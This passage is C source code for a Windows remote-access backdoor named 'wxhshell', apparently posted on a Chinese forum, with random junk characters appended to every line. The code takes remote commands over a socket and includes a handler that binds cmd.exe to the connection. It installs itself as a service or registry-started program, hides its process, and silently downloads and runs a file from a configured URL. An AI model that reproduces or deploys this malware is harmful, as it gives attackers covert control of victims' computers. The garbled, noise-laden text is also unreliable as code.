  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Dxe|4"%^  
  } she`_'?5  
  else { ;z?XT \C$  
2iGRw4`_a  
    switch(cmd[0]) { 3xe8DD  
  0g+@WK6y  
  // 帮助 UtutdkaS  
  case '?': { dnx}c4P  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F>M$|Sc2  
    break; zPmVECS  
  } d!d 3r W;A  
  // 安装 ^Y&Cm.w  
  case 'i': { VgdkCdWRm_  
    if(Install()) Q(sbClp"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;L[9[uQ[C  
    else  Ntqc=z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 70NHU;&N  
    break; k`t'P6 bU  
    } Ao\Vh\rQkq  
  // 卸载 8x{vgx @M  
  case 'r': { wv7jh~x(4  
    if(Uninstall()) 9,Mp/.T"\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k@~-|\ooG  
    else B -KOf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  -{wuF0f  
    break; 79V5{2Y*U  
    } $i1A470C  
  // 显示 wxhshell 所在路径 fH.W kAE1  
  case 'p': { 1Q%.-vs  
    char svExeFile[MAX_PATH]; BuYDw*.  
    strcpy(svExeFile,"\n\r"); W(8g3  
      strcat(svExeFile,ExeFile); xo%iL  
        send(wsh,svExeFile,strlen(svExeFile),0); PHXP1)^}S  
    break; t2:c@)  
    } <d^7B9O?&w  
  // 重启 |x4yPYBL  
  case 'b': { [vi4,'wm  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Po_OQJ:bd  
    if(Boot(REBOOT)) <7 rK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %8tN$8P  
    else {  )L!R~F C  
    closesocket(wsh); =gn}_sKNE  
    ExitThread(0); +E:(-$"R  
    } vraU&ze\1  
    break; HLk"a-+'  
    } aC},h   
  // 关机 S3'g(+S  
  case 'd': { U,M,E@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )eEvyU  
    if(Boot(SHUTDOWN)) p^:Lj9Qax  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [w/t  
    else { J*Hn/m  
    closesocket(wsh); EVL;"   
    ExitThread(0); /$z@_U [L  
    } v(h Xk]S  
    break;  =s]{  
    } v6VhXV6$|  
  // 获取shell i6CYD  
  case 's': { Ak1)  
    CmdShell(wsh); ]mj+*l5  
    closesocket(wsh); 55DzBV  
    ExitThread(0); Vr1|%*0Tv  
    break; |BkY"F7m9  
  } {t:ND  
  // 退出 w'0M>2   
  case 'x': { 0%F.]+6[O4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); PQ]9xzOg[  
    CloseIt(wsh); AL7O-D  
    break; O-5U|wA  
    } h yKg=Foq  
  // 离开 E?mp6R]}%  
  case 'q': { Q75^7Ga_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); N]}+F w\5  
    closesocket(wsh); \Sby(l  
    WSACleanup(); gJxVU41  
    exit(1); +-\9'Q  
    break; D:E_h  
        } ?v8k& q^q  
  } "V0:Lq  
  } 7 !.8#A':  
"T u[n\8  
  // 提示信息 $0SZlq>En  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ebe@.ZVSi  
} -l@W)?$  
  } mJ>99:W+  
(VAL.v*  
  return; j2 ^T:q[  
} l&Ghs@>Kl  
Vk_&W.~  
// shell模块句柄 t)Q @sKT6  
int CmdShell(SOCKET sock) ('-}"3  
{ ?1:/ 6  
STARTUPINFO si; SQU%N  
ZeroMemory(&si,sizeof(si)); ]~Vu-@ /}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #ljg2:I+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pf@}4PN}  
PROCESS_INFORMATION ProcessInfo; *.c9$`s  
char cmdline[]="cmd"; (I ds<n"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); K=?F3tX^  
  return 0; ]C6[`WF  
} Q3%# o+R>  
h;p%EZ  
// 自身启动模式 |K;Txe_  
int StartFromService(void) 9*+0j2uhQ  
{ llfiNEK5;  
typedef struct Z_ gV Ya  
{ (+8xUc(w  
  DWORD ExitStatus; @n X2*j*u  
  DWORD PebBaseAddress; d.j'0w"   
  DWORD AffinityMask; F]A~~P  
  DWORD BasePriority; r&3o~!  
  ULONG UniqueProcessId; -,A5^>}%,Y  
  ULONG InheritedFromUniqueProcessId; m'(;uR`  
}   PROCESS_BASIC_INFORMATION; j~S!!Z ]  
KBRg95E~]l  
PROCNTQSIP NtQueryInformationProcess; ;3}EB cw)  
H L|s pl(c  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; eQVPxt2N  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %Fg8l{H3  
^=Ct Aa2  
  HANDLE             hProcess; $:E}Nj]{&  
  PROCESS_BASIC_INFORMATION pbi; j$8|ym^OX  
hAr[atu87  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !8@rK$DB  
  if(NULL == hInst ) return 0; E}' d,v#Z{  
<S8W~ wC  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o+_/)c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); iQzX-a|4]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T[XP\!z]B!  
\_Kt6=  
  if (!NtQueryInformationProcess) return 0; 9X$#x90  
uWB:"&!^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T E&Q6  
  if(!hProcess) return 0; /1W7<']>xV  
n *i'vtQ8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ow+Dd[i  
EdAR<VfleA  
  CloseHandle(hProcess); 3hXmYz(  
k g,ys4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ( OyY_`  
if(hProcess==NULL) return 0; f>)Tq'  
QPe9s[Y  
HMODULE hMod; ('* *nP  
char procName[255]; !P~ PF:W~|  
unsigned long cbNeeded; *pTO|x{  
KM5DYy2 A6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V4eng "  
v*H &F   
  CloseHandle(hProcess); h*#2bS~nl-  
,t%\0[{/B  
if(strstr(procName,"services")) return 1; // 以服务启动 8PoHBOxpc  
du'}+rC  
  return 0; // 注册表启动 CaYos;Pl  
} MLt'YW^  
U+*oI*  
// 主模块 C~KWH@  
int StartWxhshell(LPSTR lpCmdLine) xQ#Akd=  
{ (9KDtr*(2i  
  SOCKET wsl; =(.mf  
BOOL val=TRUE; V%BJNJ  
  int port=0; 5fegWCJ  
  struct sockaddr_in door; -4vHK!l  
(K*/Vp  
  if(wscfg.ws_autoins) Install(); &e ?"5  
UbY~xs7_  
port=atoi(lpCmdLine); f3zfRhkIk  
:m* !?QGdL  
if(port<=0) port=wscfg.ws_port; G9i&#)nWr  
$m:2&lU3  
  WSADATA data; fVH*dX'Jz  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [ZKtbPHb  
GX7 eRqz>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2q- :p8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bB;~,W&E1  
  door.sin_family = AF_INET; (ET ;LH3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @.Z[M  
  door.sin_port = htons(port); +~w?Xw,  
<V$Y6(uMs  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :dY.D|j*  
closesocket(wsl); f@! fW&  
return 1; "%oH@ =  
} _K0izKTA.  
HPtTv}l  
  if(listen(wsl,2) == INVALID_SOCKET) { "Ju /[#VCJ  
closesocket(wsl); GUu\dl9WA'  
return 1; ~?AC:  
} O t *K+^I  
  Wxhshell(wsl); `26V`%bPkr  
  WSACleanup(); 0'yG1qG  
S,*{q(   
return 0; NK7H,V}T  
r~$}G-g  
} 7P/?wv9+n*  
[$( sUc(%  
// 以NT服务方式启动 4_Qa=T8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V3>f*Z)xn  
{ s[G |q5n  
DWORD   status = 0; Wl& >6./{  
  DWORD   specificError = 0xfffffff; a^*cZ?Ta  
<XQN;{xSa  
  serviceStatus.dwServiceType     = SERVICE_WIN32; AI1@-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :DtZ8$I`]C  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; UF&0 & `@  
  serviceStatus.dwWin32ExitCode     = 0; 'Q:i&dTg  
  serviceStatus.dwServiceSpecificExitCode = 0; cWN d<=Jp  
  serviceStatus.dwCheckPoint       = 0; MzEm*`<  
  serviceStatus.dwWaitHint       = 0; HGO#e  
'1W!xQ}E  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); MV"E?}0  
  if (hServiceStatusHandle==0) return; @sc8}"J]#  
<i\UMrD]`:  
status = GetLastError(); ?^%YRB&  
  if (status!=NO_ERROR) 42rj6m\  
{ fL ~1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?,ZELpg n  
    serviceStatus.dwCheckPoint       = 0; = EQN-{#  
    serviceStatus.dwWaitHint       = 0; ZYE' C  
    serviceStatus.dwWin32ExitCode     = status; \%sPNw=e  
    serviceStatus.dwServiceSpecificExitCode = specificError; &Ki> h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); j0g5<M  
    return; Nk96"P$P  
  } $|4cJ#;^L  
T;i?w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |-~b$nUe  
  serviceStatus.dwCheckPoint       = 0; 0LetsDN7I  
  serviceStatus.dwWaitHint       = 0; y;Qy"-)qb  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); oM6j>&$b  
} ^cYStMjpy  
h&)fu{   
// 处理NT服务事件,比如:启动、停止 3jvx2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :PgF  
{ 7JbY}@  
switch(fdwControl) =nJ{$%L\x,  
{ <+V-k|  
case SERVICE_CONTROL_STOP: 89hF )80  
  serviceStatus.dwWin32ExitCode = 0; 2dHM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; u?Fnln e4@  
  serviceStatus.dwCheckPoint   = 0; Oo FgQEr@  
  serviceStatus.dwWaitHint     = 0; >vUB%OLyP  
  { "6?lQw e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iaY5JEV:CA  
  } aXMv(e+  
  return; yC0C`oC  
case SERVICE_CONTROL_PAUSE: JZ`>|<W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8O,? |c=>  
  break; "hL9f=w  
case SERVICE_CONTROL_CONTINUE: *6:v}#b[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^#]c0  
  break; ?nQ_w0j  
case SERVICE_CONTROL_INTERROGATE: _b>F#nD,'%  
  break; *i@sUM?K  
}; ,Z^Ca15z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2zz,(RA  
} j:7* 3@f  
9lKn% |=T  
// 标准应用程序主函数 dVa!.q_3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) DhZ:#mM{  
{ e"]"F{Q  
Eu|sWdmf l  
// 获取操作系统版本 TI}}1ScA'  
OsIsNt=GetOsVer(); m;dm|4L^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Sa L"!uAk  
+}P%HH]E/p  
  // 从命令行安装 <"<Mbbp  
  if(strpbrk(lpCmdLine,"iI")) Install(); 85'nXYN{d  
Y=r!2u6r~  
  // 下载执行文件 *RBV'b  
if(wscfg.ws_downexe) { )D;*DUtMVm  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~e{H#*f&1/  
  WinExec(wscfg.ws_filenam,SW_HIDE); Rq) 0i}F  
} d^PD#&"g  
:4|M jn  
if(!OsIsNt) { 2+z1h^)W  
// 如果时win9x,隐藏进程并且设置为注册表启动 )B6# A0  
HideProc(); 1!vPc93 $$  
StartWxhshell(lpCmdLine); R,%_deV\(  
} YydA6IK4  
else 7AFE-'S  
  if(StartFromService()) W Zq,()h  
  // 以服务方式启动 98GlhogWt  
  StartServiceCtrlDispatcher(DispatchTable); 3?Lgtkb8  
else {V}qwm?  
  // 普通方式启动 +=7:4LFOL  
  StartWxhshell(lpCmdLine); `ruNA>M  
cph~4wCS[U  
return 0; -;$nb~y  
}
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只看该作者 1 发表于: 2006-10-10
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